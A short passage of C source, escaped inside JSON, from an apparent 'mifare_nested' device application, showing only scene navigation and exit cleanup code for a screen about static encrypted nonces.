GuiButtonTypeLeft) {\r\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\r\n            consumed = true;\r\n        }\r\n    } else if(event.type == SceneManagerEventTypeBack) {\r\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\r\n        consumed = true;\r\n    }\r\n\r\n    return consumed;\r\n}\r\n\r\nvoid mifare_nested_scene_static_encrypted_nonce_on_exit(void* context) {\r\n    MifareNested* mifare_nested = context;\r\n\r\n    widget_reset(mifare_nested->widget);\r\n}\r\n"
  }
]